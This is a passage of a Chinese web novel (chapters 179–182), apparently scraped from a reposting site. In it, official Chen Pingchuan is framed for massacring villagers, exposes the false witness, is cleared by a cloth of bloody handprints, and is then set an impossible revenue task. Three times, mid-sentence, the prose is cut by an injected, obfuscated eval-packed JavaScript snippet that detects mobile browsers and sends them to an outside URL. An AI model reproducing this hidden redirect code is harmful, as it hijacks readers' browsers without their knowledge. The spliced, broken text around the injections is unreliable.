真正用好钢好铁打造的关键部件,早就被人贪墨了,换上了这些破铜烂铁来充数。 这样的兵器铠甲,送到边关将士手里,跟让他们去送死,有什么区别?! “这份文书,我不能签。” 陈平川将清单扔回到小吏怀里,脸色冰冷。 “回去告诉卢尚书,这批军械,质量太差,不合标准,必须彻查!不查清楚,我绝不签字!” 小吏面露难色,但不敢多说什么,转身回去复命。 没过多久,卢志安的亲信,一个叫王主事的官员,就气势汹汹地带人冲了进来。 “陈平川!你好大的胆子!” 王主事指着陈平川的鼻子就骂。 “尚书大人让你来整理档案,是让你沉淀磨炼!不是让你来无事生非的!” “你一个新来的,懂什么军械?懂什么规矩?让你签字你就签,哪来那么多废话!” 陈平川冷冷地看着他。 “我确实不懂太多规矩,但我懂人命关天。把这些废铜烂铁送到边关将士手里,跟**无异。怎么,兵部的规矩,就是教人如何**自己的同袍吗?” “大业朝律法写得清清楚楚,贪墨军械者,当以通敌叛国论处,夷三族!” “王主事,你这么着急让我签字,莫非,这件事与你有关?” “你……你血口喷人!” 王主事气得脸都白了,他说不过陈平川,便一甩袖子,气呼呼找卢志安告状去了。 一旁的石问天,一直冷眼旁观。 当他听到陈平川那句“边关将士用此劣械,与送死何异”时,他那只一直放在棋盘上,纹丝不动的手,微微地颤抖了一下。 王主事等人走后,屋子里,又恢复了安静。 陈平川转身继续整理他的公文,根本没把刚才的事情放在心上。 快到下值时分,陈平川收拾好东西,准备离开。 “等等。” 身后,传来了石问天的声音。 这是他第一次,主动开口叫住陈平川。 陈平川转过身。 “石大人有何吩咐?” 石问天指了指对面的位置。 “陪我,下一盘。” 他的语气,依旧生硬,但已经没有了之前的鄙夷。 顿了顿,他又补充了一句,声音压得很低。 “小子,兵部的水,比你看到的,要深得多。” “卢志安不是善茬,你今日驳了他的面子,他不会放过你的。” “锋芒太露,小心,刚则易折。” 陈平川心中一暖。 这块又臭又硬的老顽石,终究,还是动了心。 “多谢大人提醒。” 他笑着坐下。 “不过,水深,才好摸鱼,不是吗?” 第179章 想搞我?让你见识下什么叫智商碾压! 金銮殿。 早朝的气氛,与往日截然不同。 空气中弥漫着一股山雨欲来的压抑。 景帝高**,面沉如水。 他已经听说了昨日陈平川在兵部大闹一场的事,心中既是赞赏陈平川的胆气,又隐隐有些担忧。 梁党盘踞朝堂多年,根深蒂固,陈平川这般横冲直撞,怕是要吃大亏。 果然,朝会刚开始,梁党就发难了。 都察院御史周言,一个以言辞犀利、专好攻讦闻名的梁党爪牙,从队列中走出。 他“扑通”一声跪倒在地,手里高举着一本奏折,声泪俱下,声音悲怆。 “陛下!臣有本奏!臣要**新任兵部右侍郎,一等忠勇侯陈平川!” 此言一出,满朝皆惊。 **陈平川? 这个刚刚立下不世之功,被陛下亲迎回京的朝堂红人? 这是要做什么? **眉头紧锁,心中暗道一声“不好”。 梁党的反击,比他想象中来得更快,也更狠! 景帝的脸色,瞬间阴沉了下去。 “周言,你要**陈爱卿?所为何事?” 周言重重地磕了一个头,抬起头时,已是满脸泪痕。 “陛下!臣要**陈平川……杀良冒功!” “轰!” 这四个字,如同一道惊雷,在金銮殿上炸响! 所有人都懵了。 杀良冒功? 这是最恶劣、最不可饶恕的罪行! 一旦坐实,别说是什么忠勇侯了,就是天王老子,也得抄家灭族! “胡说八道!” **第一个站了出来,怒发冲冠。 “周言!你可知污蔑朝廷命官,是何罪名?陈大人在顺城浴血奋战,全城军民有目共睹,岂容你在此血口喷人!” 梁越此时却故作惊讶地站了出来,一脸痛心疾首的表情。 “张大学士稍安勿躁。周御史身为言官,风闻奏事,乃是其职权所在。此事关系重大,不能仅凭您一句话就断定是污蔑啊。” 他转向景帝,躬身道:“陛下,此事非同小可,必须慎重。臣以为,还是先听听周御史有何凭证。” 景帝强压着怒火,冷冷地看着跪在地上的周言。 “周言,你说陈平川杀良冒功,证据何在?” “证据在此!” 周言猛地一挥手。 殿外,两名禁军架着一个衣衫褴褛、面带悲戚的中年汉子,走了进来。 那汉子一进大殿,看到龙椅上的景帝,立刻就吓瘫了,被禁军拖到了大殿中央。 “陛下!草民……草民有冤啊!” 那汉子跪在地上,放声大哭,哭得撕心裂肺。 “草民乃顺城西城外,王家村村民牛二!” “陈平川……那个杀千刀的陈平川!他为了夸大战功,竟然……竟然派兵屠了我的村子啊!” “全村三百多口人!男女老少,一个不留!” “然后,他让人割下我乡亲们的头颅,冒充是蛮子的首级,上报朝廷,骗取功劳!” “草民……草民是侥幸装死,才逃过一劫啊!” “求陛下为我们这些冤死的百姓,做主啊!” 这“顺城百姓”牛二,哭得声情并茂,每一个细节都描述得“清清楚楚”,仿佛亲眼所见。 他说陈平川的士兵是如何的凶残,乡亲们是如何的绝望。 他说那血流成河的惨状,说那堆积如山的人头。 整个金銮殿,都陷入了一片死寂。 只能听到他那悲痛欲绝的“控诉”。 所有人的目光,都下意识地转向了站在殿中的陈平川。 震惊,怀疑,鄙夷,各种各样的眼神,像刀子一样,扎向他。 就连一些原本支持景帝的中间派官员,此刻也露出了动摇的神色。 人证在此,说得又如此凄惨,难道……是真的? 梁越见火候差不多了,立刻上前一步,满脸悲愤地对景帝说道: “陛下!惨绝人寰!简直是惨绝人寰啊!” “臣万万没有想到,我大业朝的状元郎,陛下亲封的忠勇侯,竟是如此一个丧心病狂的屠夫!” “臣恳请陛下,立刻将陈平川拿下,交由三法司会审!彻查此事!还顺城冤死的百姓,一个公道!” “臣等附议!” “请陛下彻查!” 梁党一众官员,立刻如同闻到血腥味的鲨鱼,纷纷出列,齐声附和。 一时间,整个朝堂,除了**等寥寥数人,所有矛头,都指向了陈平川。 景帝的脸色铁青,拳头在龙袍下握得咯咯作响。 他知道这是构陷! 他百分之百相信陈平川! 可是,他能怎么办? “人证”就跪在那里! 他如果现在强行庇护陈平川,就是昏君,就是包庇屠夫! 梁越这一下,是把他和陈平川,一起逼上了绝路! 好狠的计策! 整个金銮殿,嘈杂一片。 有梁党的叫嚣,有牛二的哭嚎,有中立官员的议论。 唯独事件的中心,陈平川,始终一言不发。 他只是静静地站着,脸上没有任何表情。 等魏忠高喊肃静之后,他才在所有人的注视下,缓缓地走了出来。 他来到那个跪在地上,哭得死去活来的“证人”牛二面前。 蹲下身,陈平川神色平静,语气甚至称得上温柔如风。 他问了第一个问题。 “你说你是西城外的村民,那你可知,西门大街上那家‘王记面馆’的老板,脸上可有刀疤?” 牛二的哭声,猛地一顿。 他愣住了。 这个问题,完全出乎他的意料。 他支支吾吾地说道:“小……小人许久没进城,记……记不清了。” 陈平川点了点头,仿佛对这个答案很满意。 他又问了第二个问题。 “为了募集资金,修缮城墙,我发行了一种‘劳务券’,顺城周边的百姓都知道……那你可知,那面值最大的一百文劳务券上,画的是麦穗,还是耕牛?” 牛二的额头上,开始冒汗了。 劳务券? 什么东西? 剧本上没写啊! 他只能硬着头皮,胡乱猜一个。 “是……是麦穗!对,是麦穗!” 陈平川笑了。 那笑容,在牛二看来,比魔鬼还可怕。 “错。” “是顺城的角楼。” 陈平川站起身,居高临下地看着他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012702|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>他的问题,一个接一个地抛了出来,语速越来越快,越来越犀利。 “守城的赵莽将军,他的坐骑是黑色的还是枣红色的?” “顺城商会的刘四海会长,他有几个儿子?” “我斩杀前任知州马德的时候,是在府衙门口,还是在菜市口?” 每一个问题,都是顺城人人皆知的细节。 但对于牛二这个冒牌货来说,却如听天书! 他的回答,漏洞百出,前言不搭后语。 从一开始的支支吾吾,到后面的胡言乱语。 最后,在陈平川那双仿佛能洞穿人心的凌厉目光注视下,他的心理防线,彻底崩溃了! “我……我不知道……我什么都不知道!别问了!别问了!” 他瘫在地上,浑身筛糠般地发抖,语无伦次。 真相,已然大白于天下。 所有人都看明白了,这就是一场彻头彻尾的诬告! 金銮殿内,一片哗然。 刚才还叫嚣着要严惩陈平川的梁党官员,一个个都成了哑巴,脸色尴尬无比。 **抚着胡须,脸上露出了畅快的笑容。 然而,梁越的脸上,却没有丝毫的慌乱。 他反而冷笑着,上前一步。 “陛下!” 他朗声说道,打断了众人的议论。 “此证人牛二,受到惊吓,神志不清,又被陈平川威逼诱问,胡言乱语也是情有可原。” 他先是轻飘飘地把**人推了出去。 然后,他话锋一转,脸上又换上了那副“为国为民”的表情。 “但是!陛下!杀良冒功的指控,实在是太过严重!若是传出去,让百姓知道……人言可畏啊!” “为了安天下臣民之心,为了彰显我朝廷的公允!” “臣以为,必须暂停陈平川兵部侍郎职务,待朝廷派出钦差,前往顺城查明真相之后,再做定夺!” 这一招,又快又狠! 直接将了景帝的军! 人证靠不住,但这个罪名太大了,不能就这么算了。 我们得查! 不查,就是你皇帝包庇! 查,就要停陈平川的职! 而且,调查的人都是梁越安排的,想要什么结果就有什么结果! 到时候,坐实陈平川的罪行,他就死定了! 景帝的拳头,握得死死的。 他气得浑身发抖。 无耻! 太无耻了! 他看着梁越那张虚伪的脸,恨不得立刻下令,把他拖出去砍了! 但他不能。 他被梁越的这番话,堵得死死的,进退两难。 整个大殿,再次陷入了死寂。 所有人的目光,都集中在了景帝身上。 就在这令人窒息的沉默中。 陈平川,再次做出了一个让所有人都意想不到的举动。 他对着龙椅上的景帝,朗声开口,声音传遍了整个金銮殿。 “臣,问心无愧!” “天日昭昭,自有公断!” “为证臣之清白,也为不让陛下为难。” “臣,愿领此旨!” 他平静地,接受了这不公的处置。 那份坦然,那份决绝,让龙椅上的景帝,眼中闪过一丝深深的愧疚。 第180章 他们伪造一个,我便为你带来一万个! 忠勇侯府。 这座由景帝御赐,象征着无上荣光的府邸,一夜之间,从车水马龙变成了门可罗雀。 大门外,换上了御林军把守,明着是软禁,实则是保护。 这也是景帝,能为陈平川最后做的事情。 陈平川被当庭革职,软禁于府中的消息,飞速传遍了京城的大街小巷。 茶楼酒肆,街头巷尾,到处都在议论纷纷。 “听说了吗?那个陈状元,出事了!” “怎么回事?前几天不还被陛下亲迎,风光无限吗?” “嗨,说是他在顺城杀良冒功,被人告了!” “真的假的?他看着不像那种人啊!” “谁知道呢,官场的事,深着呢!功高震主,懂不懂?” 一时间,众说纷纭。 有为陈平川惋惜的,有幸灾乐祸的,但更多的人,是持着一种观望的态度。 这位新晋的忠勇侯,到底是真的犯了事,还是被人给阴了? 所有人都想看看,后续会如何发展。 …… 陈平川被革职的第三天,张金宝和林锦玉就想方设法,托了**的关系,跑进来探望陈平川。 一进院子,两人就看到陈平川正悠哉悠哉地蹲在花园里,拿着一把小锄头,给几株牡丹松土。 他穿着一身寻常的布衣,神情专注,仿佛一个闲适的富家翁,没有半点阶下囚的颓丧。 “平川兄!” “大哥!” 张金宝和林锦玉快步冲了过去,两人脸上都写满了焦急。 “哎哟,我的好大哥!这都火烧眉毛了,你怎么还有心情在这儿种花啊!” 张金宝是个直肠子,急得直跳脚。 “外面都传疯了!说你要被**了!” 林锦玉也是一脸凝重,他比张金宝想得更多。 “平川兄,梁党的手段,实在是太阴毒了。这次他们虽然没能一击致命,但‘杀良冒功’这顶帽子一旦扣上,就算最后查无实据,你的声望也会大受影响。” “而且,他们肯定还会有后手。你现在被困在这里,消息不通,外面发生了什么都不知道,这太被动了!” 陈平川放下小锄头,拍了拍手上的土,站起身来。 他看着两个急得满头大汗的朋友,淡淡一笑。 “急什么?” “天,还没塌下来呢。” 他指了指院中的石桌。 “来,坐下喝杯茶,降降火。” 他走到石桌旁,提起茶壶,给两人倒了茶。 然后,从旁边的棋盒里,拈起一枚棋子,在棋盘上落下一子。 “心若不定,如何能赢?” 他看着棋盘,悠悠地说道。 张金宝和林锦玉看着他这副云淡风轻的样子,面面相觑,都不知道该说什么好了。 皇帝不急太监急。 这说的是他们吗? “大哥,你……你是不是已经有对策了?” 张金宝忍不住问道。 陈平川没有回答,只是反问了一句。 “你谁知道若素……她怎么样了?我出事后,她可还好?” 他担心,张若素因为自己受到牵连。 林锦玉摇了摇头。 “自你出事之后,张小姐便再无音讯了。” “我去找过张大人,连张大人说,她留下一封信,说是有要事外出,让我们不必担心。” “什么?!” 这下,轮到陈平川的脸色变了。 张若素不见了?去了哪里? “哼!这女人不是好东西!” 一旁的张金宝,却突然冷哼了一声,语气酸溜溜的。 “大哥,不是我说你。这世态炎凉,人心最是靠不住。尤其是女人,更是现实得很!” “你风光的时候,她围在你身边。现在你一出事,她怕被连累,躲起来了呗!说不定,这会儿已经听从家里的安排,另寻高枝去了!” 张金宝看陈平川和张若素走得太近,心里早就不爽了。 在他看来,只有自己的妹妹张静姝,才是大哥的良配。 现在有机会,他当然要不遗余力地诋毁一下自己妹妹的“情敌”。 他觉得,这样说不定妹妹就有机会了。 等两人成了亲,他就能名正言顺地当陈平川的大哥了! “金宝!不要胡说!” 陈平川的脸色,瞬间一沉。 他表情严厉,看得张金宝心里一阵发毛。 “大哥……我……我也是为你抱不平嘛……” 张金宝缩了缩脖子,小声嘀咕道。 陈平川语气斩钉截铁,带着不容置疑的信任。 “若素在顺城为我和百姓做了很多事情,绝非那般趋炎附势之人!” “我相信她。她在这个时候不出现,甚至瞒着张大人,定然有她的道理,有她必须去做的事情!” 林锦玉和张金宝面面相觑,张金宝撇撇嘴,不情不愿地说道:“知道了,大哥。” 正在这时,府门外传来通报声,说有人前来拜访。 来人,竟是那个“顽石先生”,石问天。 石问天还是那副不修边幅的样子,说是听闻陈平川闲赋在家,特来找他手谈一局。 张金宝和林锦玉见状,便先行告辞了。 两人在石桌旁对坐。 棋盘之上,黑白子迅速开始厮杀。 下了十余手后,石问天趁着落子的间隙,用只有两个人能听到的声音,低声说道: “梁国舅已经派了心腹,带着御史台的人,快马加鞭赶往顺城了。” “他们名为调查,实则就是去做**,罗织罪名。” “留给你的时间,不多了。” 陈平川落下一子,不动声色。 “多谢石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012703|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人提醒。” 石问天却摇了摇头。 “我不是在帮你。” 他抬起头,浑浊的眼睛里,闪烁着一丝复杂的光芒。 “我是为了大业朝,为了陛下,为了这天下的公道。” 说着,他从宽大的袖袍里,摸出了一本薄薄的册子,悄无声息地推到了陈平川的面前。 那册子,封面已经泛黄,显然有些年头了。 “这是我十年间,凭记忆默写下来的东西。” “卢志安每一笔见不得光的账,都在里面。” “或许,对你有用。” 说完,他便起身,头也不回地走了,连那盘没下完的棋,都不要了。 陈平川看着桌上那本薄薄的册子,心中感触万千。 这哪里是什么账本。 这是石问天用十年光阴和身家性命,磨出来的一把刀! 现在,他把这把刀,交给了自己。 陈平川收好账本,心中却依旧无法平静。 张若素,你到底去了哪里? 你到底,在做什么? 半个月后。 就在京城的风向,已经开始对陈平川越来越不利的时候。 忠勇侯府的大门外,突然传来一阵急促的马蹄声和喧哗声。 紧接着,书房的门,被人从外面猛地推开! 一道风尘仆仆的纤细身影,踉踉跄跄地闯了进来! 正是消失了半个月之久的,张若素! 此刻的她,哪里还有半点平日里大家闺秀的端庄模样。 她一身男装早已被尘土和血迹染得看不出本色,发髻散乱,面色苍白如纸,干裂的嘴唇上没有一丝血色。 最触目惊心的,是她缠着厚厚绷带的右臂,绷带之上,还在不断地往外渗着鲜红的血迹! 在她的身后,同样狼狈不堪的刘四海。 “若素!” 陈平川看到这一幕,脑子“嗡”的一声,瞬间一片空白! 他急忙冲了过去,一把扶住了摇摇欲坠的张若素。 当他的目光落在她手臂上那刺眼的血迹上时,他那双一向平静的眼眸,瞬间泛起波澜! 他的手微微颤抖,哑着嗓子问道:“你……你去了顺城?” “谁让你去的!你为什么要这么做!” 张若素看着他,看着他眼中那从未有过的慌乱和心疼,却虚弱地笑了。 那笑容,苍白,却又无比灿烂。 她用尽力气,从被鲜血浸湿的怀中,掏出了一个用油布紧紧包裹着的长卷,塞到了他的手里。 她用尽最后一丝力气,在他耳边轻声说道: “他们……可以伪造一个证人……” “我看他们……如何……伪造一万个!” “大人,我们……会赢的!” 说完这句话,她再也支撑不住,眼前一黑,软软地晕倒在了陈平川的怀中。 第181章 我无话可说,但十万军民有话要说! 次日,早朝,金銮殿上。 大学士**当众递上了一道奏折。 奏折的内容很简单:忠勇侯陈平川已有铁证,可自证清白,请求御前陈情,当面对质! 梁党众人皆是冷笑。 铁证? 能有什么铁证? 他们的钦差队伍,马上就要抵达顺城了。 有梁越的心腹亲自坐镇,威逼利诱之下,什么样的“证据”做不出来? 陈平川一个被软禁在京城的阶下囚,还能翻出什么浪花? 在他们看来,这不过是陈平川和**的最后挣扎罢了。 梁越穿着一身崭新的朝服,好整以暇地站在百官之首。 他今天心情很好,准备好好欣赏一下,陈平川这只笼中之鸟,是如何做这最后的,徒劳的扑腾。 他甚至已经想好了,等会儿陈平川拿出所谓的“证据”后,他该如何反驳,如何将对方彻底钉死在耻辱柱上。 很快,陈平川被带上了大殿。 他没有穿象征着官职和爵位的袍服,只着一身简单的青色布衣,头发用一根木簪束起。 他看起来有些憔悴,眼中有淡淡的血丝,但脊梁,却依旧挺得笔直。 他的手里,捧着一个用厚厚的油布包裹着的东西,看不出里面是什么。 所有人的目光,都聚焦在了他的身上。 梁越看着他,阴阳怪气地开了口。 “忠勇侯今日为我们带来了什么新奇的玩意儿?” “莫不是,你把顺城的地契给带来了,要献给陛下,以证你的‘清白’吗?” “哈哈哈!” 他身后的梁党官员,立刻爆发出一阵哄堂大笑。 陈平川对这些嘲讽,充耳不闻。 他捧着那个油布包,一步一步,走到了大殿中央。 然后,他对着龙椅之上的景帝,深深地,行了一个大礼。 “陛下。” 他缓缓开口,声音低沉,语气坚定。 “关于杀良冒功之指控,臣,无话可说。” 什么? 无话可说? 满朝文武,包括景帝和**,全都愣住了。 这是什么意思? 难道是……认罪了? 梁越脸上的笑容,更盛了。 然而,陈平川的下一句话,却让所有人的心,都猛地提了起来。 “臣无话可说。但是……” 他猛地抬起头,目光如炬,直视着龙椅上的天子。 “顺城十万军民,有话要说!” 话音未落,他将手中那个油布包裹打开,露出了里面一个白色布卷! “来人!给朕展开!” 景帝几乎是下意识地喊了出来! 两名小太监连忙上前,手忙脚乱地抓住布卷的一头。 然后,在满朝文武惊愕的目光中,他们开始缓缓后退。 那巨大的白色布卷,被一点一点地展开。 一丈…… 三丈…… 五丈…… 十丈…… 所有人都被眼前的一幕,惊得呆住了。 那哪里是什么布卷! 那分明是一条雪白色的长龙! 它从大殿的门口,一路向前延伸,越过文武百官的队列,穿过庄严肃穆的丹陛,一直铺到了景帝的龙椅之下! 整整十几丈长的白色布幔,将金銮殿的地板,都完全覆盖! 而更让人感到头皮发麻,心神俱颤的,是那布幔之上的东西! 那上面,密密麻麻,触目惊心,全是血手印! 成千上万个鲜红的,刺眼的血手印! 大的,小的,男人的,女人的,老人的,孩子的! 每一个手印,都像是用生命最滚烫的鲜血按上去的! 它们汇聚在一起,形成了一片血色的海洋,一片无声的雷霆! 一股悲壮、惨烈、决绝的气息,瞬间充斥了整个金銮殿! 所有人都被震慑住了。 整个金銮殿,鸦雀无声,落针可闻。 只能听到众人粗重的呼吸声。 在布卷的最前端,龙椅的正下方,是用鲜血写下的几个斗大的字,字迹刚劲,力透纸背,仿佛能看到书写者那满腔的悲愤与忠诚! “顺城守将赵莽,及麾下三千将士,**!” “我等,与陈大人共存亡!” “若大人有罪,我等愿同死!” 这也是顺城所有人的心声! 这,就是张若素拼死带回来的证据! 虽然它不会说话,却比任何巧舌如簧的辩解,都更具说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012704|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服力! 这证据狠狠地,抽在了每一个构陷者,每一个质疑者的脸上! “霍!” 景帝猛地从龙椅上站了起来! 他完全顾不上什么帝王仪态了。 踉跄着走下台阶,一步一步,走到那片血色的长河面前。 伸出手,颤抖着触摸那些手印,两行滚烫的清泪,从他的眼眶中,汹涌而出。 “好……好啊……” “顺城!朕的忠臣良民!” 一旁的**,早已是老泪纵横,泣不成声,用袖子捂着脸,身体剧烈地颤抖着。 他身后的那些忠直之臣,也无不为之动容,一个个眼圈泛红。 就连那些平日里只知钻营的梁党官员,此刻也被这股发自民心,发自底层的磅礴力量,震慑得面无人色,下意识地步步后退。 他们怕了。 他们第一次,感受到了什么叫做“民心”! 梁越的脸,在看到那血色布卷展开的一瞬间,就变得惨白如**。 没有一丝血色。 他千算万算,算计了人心,算计了权谋,却唯独没有算到,陈平川在顺城,竟然已经收拢了如此恐怖的民心! 竟然能让一城百姓,为他按下血手印! 景帝猛地转过身! 他那双含着泪的眼睛,死死地,盯住了梁越! 那眼神,不再是以前的软弱和忍让。 那是前所未有的,如同寒冰,如同利刃般的,愤怒与杀意! “国舅!” 他的声音,是从牙缝里挤出来的,每一个字,都带着冰冷的寒气。 “现在,你还有何话可说!” “扑通!” 梁越双腿一软,再也站立不住,瘫倒在了地上。 景帝不再看他。 他当庭宣布: “诬告御史周言,颠倒黑白,构陷忠良,即刻革职查办,打入天牢!” “伪证人牛二,欺君罔上,凌迟处死!” “兵部右侍郎,忠勇侯陈平川,忠勇无双,德才兼备,朕心甚慰!即刻官复原职!” “另!” 景帝的声音,陡然拔高! “将此万民**,悬于午门之上,昭告天下!让天下人都看看,何为忠臣!何为民心!” 第182章 疯了吧?三个月赚三百万? 万民血书,悬于午门。 京城,彻底沸腾了。 百姓们从四面八方涌来,将午门围得水泄不通。 当他们亲眼看到那十几丈长,铺满血手印的布幔时,所有人都被深深地震撼了。 “天呐!这……这得是多少人按的手印啊!” “这就是顺城的百姓,为陈大人做的见证啊!” “陈大人真是活菩萨!难怪百姓们愿意为他请命!” “有陈大人这样的官,有陛下这样圣明的君主,我大业朝,何愁不兴啊!” 一时间,对陈平川的赞誉,对景帝的歌颂,传遍了京城每一个角落。 而对于梁党,对于国舅梁越,则是铺天盖地的唾骂和鄙夷。 梁家的声望,一落千丈。 慈宁宫内。 “啪!” 一个名贵的青花瓷瓶,被狠狠地摔在地上,粉身碎骨。 梁太后气得浑身发抖,脸色铁青。 “废物!一群废物!” 她指着跪在地上,瑟瑟发抖的梁党群臣,厉声斥骂。 “一个黄口小儿,就把你们搅得天翻地覆!哀家养你们,有什么用!” 梁越立在一旁,头都不敢抬。 “妹妹息怒……是臣……是臣失算了,没想到那陈平川,竟然如此得民心……” “民心?” 梁太后冷笑一声,眼神狠厉。 “民心算个屁!在这座皇宫里,只有权力,才是最要紧的!” “皇帝的翅膀,是越来越硬了!我看他下一步,就敢动我这个太后了!” “陈平川是他手里最锋利的一把刀!这把刀,必须给它折断!” 梁越眼中闪过一丝阴狠。 “妹妹放心,臣……已经有了一个新计策。” “这一次,定要让那陈平川,身败名裂,万劫不复!” …… 张府后院,静谧清幽。 陈平川推门而入,脚步放得极轻。 床上,张若素半靠着软枕,一身素色寝衣衬得她面色愈发苍白。 她那平日里清亮如秋水的眸子,此刻虽有些黯淡,但在看到陈平川时,却瞬间燃起了一点星光。 “大人,你怎么来了?”她的声音很轻,带着伤后的虚弱。 陈平川走到床边,看着她手臂上缠着的厚厚绷带,那上面隐约透出的暗红血色。 他的喉头滚动了一下,千言万语堵在胸口,最后只化作一句话:“对不起,让我为你受苦了。” 张若素却摇了摇头,嘴角牵起一抹浅笑,苍白却坚定。“你为国为民,我为你奔走,何来受苦之说?” 她凝视着他,目光清澈而执着,“大人,我相信你。所以,一切都值得。” 这句“我相信你”,比任何灵丹妙药都更能抚慰人心,陈平川的嘴角也露出一抹微笑。 叮嘱几句后,陈平川从张若素的房间出来,便看见张廷玉正站在院中的一棵老槐树下,已等候多时。 “平川。”张廷玉的声音沉稳如常。 “张大人。”陈平川躬身行礼。 张廷玉摆了摆手,目光审视着他,许久,才缓缓开口:“那万民血书,是若素为你求来的。这孩子的心思,老夫看得明白。老夫今日不以官职论,只以一个父亲的身份问你,你……可愿娶小女为妻?” 这突如其来的提亲,让陈平川呆立当场。 他满脸错愕,一股热气直冲脸颊,让他有些手足无措。 屋内,窗户留着一道缝。 张若素将父亲与陈平川的对话听得一清二楚。 她屏住呼吸,一颗心怦怦直跳,既羞涩又期盼,耳根都烧得通红,紧张地等待着那个她渴望听到的答案。 院中,陈平川深吸一口气,对着张廷玉深深一揖到底。“大人厚爱,若素小姐情深,平川……感激不尽。” 他顿了顿,声音诚恳而决绝,“只是,如今朝堂波谲云诡,奸佞未除,国事维艰。平川尚且年轻,愿以这身躯,先为国靖难,再图私情。此时此刻,实不敢耽误小姐。” 屋内,张若素的心猛地一沉,一丝失落如涟漪般散开。 但细细品味他话中的“先为国靖难,再图私情”,那份失落又渐渐化为了更深的敬佩与理解。这才是她所倾慕的人,心怀天下,志在四方。 张廷玉听完,非但没有不悦,眼中也流露出赞赏之色。 他抚须点头:“好一个‘为国靖难’!老夫没有看错人。”他话锋一转,神色凝重起来,“不过,你也要万分小心。万民血书让你脱困,也让你彻底成了梁党的眼中钉、肉中刺。他们绝不会善罢甘休,下一次的手段,只会更阴险,更狠毒!” 陈平川重重点头,眼中寒光一闪:“平川知道。” 果不其然,张廷玉的预言很快应验。 这日清晨,金銮殿上,早朝的钟声刚刚落定,梁越便从队列中走出,脸上挂着一抹阴冷的笑意,向景帝启奏。 “陛下,臣有喜事要奏!” 喜事? 景帝眉头一皱,心中升起一股不祥的预感。 张廷玉也诧异地看向梁越,而陈平川心里冷哼。 看来,这位国舅爷又要搞事情了! 景帝好奇地问:“国舅有何喜事?” 梁越直起身,朗声说道:“臣要恭喜陛下,贺喜陛下,为我大业朝,觅得一位不世出的奇才啊!” 他一边说,一边转头看向陈平川,满脸都是欣赏的表情。 “这位奇才,就是我们的忠勇侯,陈平川陈大人!” 众人面面相觑,都搞不懂梁越葫芦里卖的什么药。 这是……被打傻了?开始说胡话了? 梁越却不管不顾,继续大声吹捧。 “陈大人不仅文能安邦,武能定国,更是一位点石成金的理财奇才啊!” “众所周知,陈大人初到顺城时,那地方穷得叮当响,府库里老鼠进去都得含着眼泪出来!” “可短短数月,陈大人便让顺城府库充盈,百姓富足!这等化腐朽为神奇的本事,纵观我大业朝上下,谁人能及?” 他把陈平川一顿猛夸,夸得天花乱坠,仿佛陈平川是财神爷下凡。 就连张廷玉,都听得一头雾水。 这老狐狸,到底想干什么? 终于,在把气氛烘托到极致之后,梁越图穷匕见。 他话锋一转,脸上换上了一副忧国忧民的表情,重重地叹了口气。 “哎,只可惜啊……” “我大业朝国库,如今却是空虚得很呐!” “北拒蛮夷要钱,南镇水患要钱,安抚流民要钱,镇乱剿匪要钱……处处都要用钱,可国库空虚,实在是捉襟见肘啊!” “臣每每念及于此,便痛心疾首,夜不能寐啊!” 说着,他猛地转身,用充满“期盼”的目光,看着陈平川。 “陛下!臣以为,国有危难,能者理应多劳!” “既然陈大人有如此经天纬地之才,何不让他来总揽‘国库增收’之大计?” 说完,他对着景帝,重重一拜: “臣提议,请陈大人三月之内,为我大业国库,增收三百万两白银!” “若能完成,陛下当重重有赏!若完不成……那便证明他顺城之功,乃是欺世盗名,徒有虚表!臣请陛下,治他一个欺君之罪!” “嘶——” 整个金銮殿,响起一片倒吸冷气的声音。 大业朝一年的税收,刨去各项开支,能结余个三百万两,都算是丰年了。 让陈平川靠自己一人,在三个月内凑齐三百万两,这简直是天方夜谭! 所有人都明白了。 这是一个无比恶毒的阳谋! 一个根本无法拒绝,也根本无法完成的致命挑战! 梁越斜眼看着陈平川,心里得意。 你陈平川不是很能吗?不是被百姓奉为神明吗? 好,那你就来给国家搞钱! 你要是完不成,你那“点石成金”的神话,就当着全天下人的面,彻底破灭!你的威信,将一落千丈,扫地以尽! 你要是想完成,又能怎么办? 唯一的办法,就是加税! 加商税,加农税! 这么一来,你必然会得罪天下的商贾和百姓,激起滔天民怨! 到时候,不用我梁越动手,那些被你动了蛋糕的人,就能把你生吞活剥了! 无论成败,陈平川都将陷入万劫不复的绝境! 好一招“捧杀”! 好一个恶毒的计策! 满朝文武,所有的目光,都集中在了陈平川的身上。 张廷玉急得额头冒汗,不停地给陈平川使眼色,让他千万不要答应。 景帝的脸色,也难看到了极点。 他想开口拒绝,可梁越的话,句句都站在“为国分忧”的制高点上,让他根本无法反驳。 